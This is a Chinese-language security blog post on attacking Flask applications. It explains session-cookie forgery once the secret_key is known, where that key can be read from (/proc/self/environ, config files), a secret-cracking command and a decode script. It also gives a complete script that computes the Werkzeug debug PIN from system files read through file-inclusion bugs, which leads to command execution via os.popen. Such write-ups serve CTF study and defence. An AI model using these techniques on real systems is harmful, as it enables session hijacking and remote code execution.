Flask安全问题

jinja2模板注入

详见:

SSTI-Lab全详解 - 重庆森林不在重庆

session伪造

session

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。

用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。

其实作者在《HTTP原理及具体细节》一文中讲了session,这里就不具体展开了

flask session

储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

1
2
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0
session数据 . 时间戳. 签名

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

flask session伪造

上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。

secret_key怎么获得?

secret_key有可能可以直接在源代码里找到(如果给了的话),比如在config.py里面发现密钥;

也有可能在环境变量里找到,比如/proc/self/environ或者/proc/1/environ

也有可能在内存中获取,参考:Flask Session 伪造全流程解析:从内存窃取到会话劫持_flask session伪造-CSDN博客

SECRET_KEY较弱(如短字符串或常见密码),工具可尝试暴力破解(该工具下面会介绍);

命令格式:

1
python flask_session_cookie_manager3.py crack -c <SESSION_COOKIE> -w <WORDLIST_PATH>

当然,也有可能结合其他漏洞获得secret_key,或者给定了一个可破解的密钥生成算法(根据源代码)。

获得secret_key怎么伪造呢?

session伪造其实主要是利用工具或者脚本。

工具:

GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

工具的使用方法可以自己查阅,使用该工具就完全可以做到session伪造

脚本(原作者是phith0n):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

该脚本用于解密,使用方法

1
2
3
4
5
命令:
python Decrypt_session_phith0n.py .eJxNUE2LgzAQ_SvLnD2otZdCDy5RcSHJWiIyuYjtWjWaLtiWxpT-9027sOxhmMP7mjd3qI9ze-5hc5mvrQf18AWbO7ztYQOopaKkW1OBAa-ShYZ4wyr3ORkXFhY3Sd57XqUTF6VBu-upSiJmy5WsPpwysUwnIdU7hSIOmS0sFV2A2vE0NfzJIU5L0gHVuOIVXaNNFkYOPgvzwGndLkIU7oaqjFiWTmi7lczKQGZoOMkXqWLrvCM3W3h4cDjPx_ryPbanfxUSw7Lcp6RXaHsXXVipDhG1nXHxiup0dDUnJnJDn9FZvvB4-7IbdNO1f06CTJ-y-EVOjXYA6OYyDwY8uJ7b-fU4CHx4_ABsUm1d.Z7iVHg.OyTfaVtPY8mLno-nCvMBfcnai0k

结果:
{'_fresh': True, '_id': b'bfc0891659a23f0ab48927d0d0a9ae951c4a218757ebff136a62dca06743185bda2c19bfd1e81bb979c9c124747b56a47d6a6c1e84aec87de5df1822f03a08a0', 'csrf_token': b'ba14b408cc8a2d3f78381d1c2adbfe5210744b28', 'image': b'L9Oe', 'name': 'matrix', 'user_id': '10'}

PIN码计算

对于有文件包含或文件读取的漏洞,且开启debug功能,可尝试本地构造pin码进入控制台

输入pin码后即可输入命令执行

1
os.popen('ls /').read()

image-20250713002222245

可参考:

深入浅出Flask PIN - 蚁景网安实验室 - SegmentFault 思否

Flask PIN码分析和总结 - Icfh - 博客园

1、username –> 执行代码时候的用户名

1
2
3
import getpass
username = getpass.getuser()
print(username)

2、getattr(app, "__name__", app.__class__.__name__) –> 默认为Flask

1
2
3
4
from flask import Flask
app = Flask(__name__)

print(getattr(app, "name", type(app).name))

获取的是当前app对象的__name__属性,若不存在则获取类的__name__属性,默认为Flask

3、modname –> 固定值默认flask.app

sys
1
2
3
4
5
6
7
8
from flask import Flask
import typing as t

app = Flask(__name__)

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod = sys.modules.get(modname)
print(mod)

取的是app对象的__module__属性,若不存在的话取类的__module__属性,默认为flask.app。

4、getattr(mod,"__file__", None) –>app.py文件所在路径

1
2
3
4
5
6
7
8
9
10
import sys
from flask import Flask
import typing as t

app = Flask(__name__)

modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod = sys.modules.get(modname)

print(getattr(mod, "__file__", None))

mod的__file__属性,即app.py文件所在路径

输出:C:/Users/mcc06/Downloads/sstlabs-master/venv/lib/site-packages/flask/app.py

5、str(uuid.getnode()) –>电脑上mac地址

实际上就是当前网卡的物理地址的整型

1
2
import uuid
print(str(hex(uuid.getnode())))

6、get_machine_id() –>根据操作系统不同,有四种获取方式

Python flask版本不同,读取顺序也不同

操作系统/容器 位置 取法
Linux /etc/machine-id,/proc/sys/kernel/random/boot_id 前者固定后者不固定
docker /proc/self/cgroup 正则分割
macOS ioreg -c IOPlatformExpertDevice -d 2 "serial-number" = <ID>部分
windows HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Cryptography/MachineGuid] 注册表

然后直接用下面脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import hashlib
from itertools import chain


probably_public_bits = [
'nobody', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.6/site-packages/flask/app.py' # 利用报错得到 app.py 的位置
]


private_bits = [
'95530043904', # /sys/class/net/eth0/address 转换为十进制,可以用下面的函数
'111' # machine-id 使用下面的方法获得

]

# 将/sys/class/net/eth0/address 转换为十进制
def mac_to_decimal(mac_address: str) -> int:
"""
将MAC地址(如 '00:16:3e:08:ca:00')转换为十进制整数。
:param mac_address: 字符串格式的MAC地址
:return: 十进制整数
"""
hex_str = mac_address.replace(":", "")
decimal = int(hex_str, 16)
print(decimal)

# mac = "00:16:3e:08:ca:00"
# mac_to_decimal(mac)

# 获得machine-id方法
# 1. Linux 系统:/etc/machine-id (docker 环境忽略)
# 2. docker:/proc/sys/kernel/random/boot_id 拼接 /proc/self/cgroup
# 在 Kubernetes/Docker 环境 下,Flask 的 machine-id 生成逻辑是:machine_id = boot_id + 容器ID。
# boot_id:/proc/sys/kernel/random/boot_id;容器 ID:从 /kubepods/ 开始,最后一个 / 后的部分就是容器 ID。
# 其余操作系统见上


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

Flask安全问题
http://example.com/2025/07/13/31Flask安全问题/
作者
sangnigege
发布于
2025年7月13日
许可协议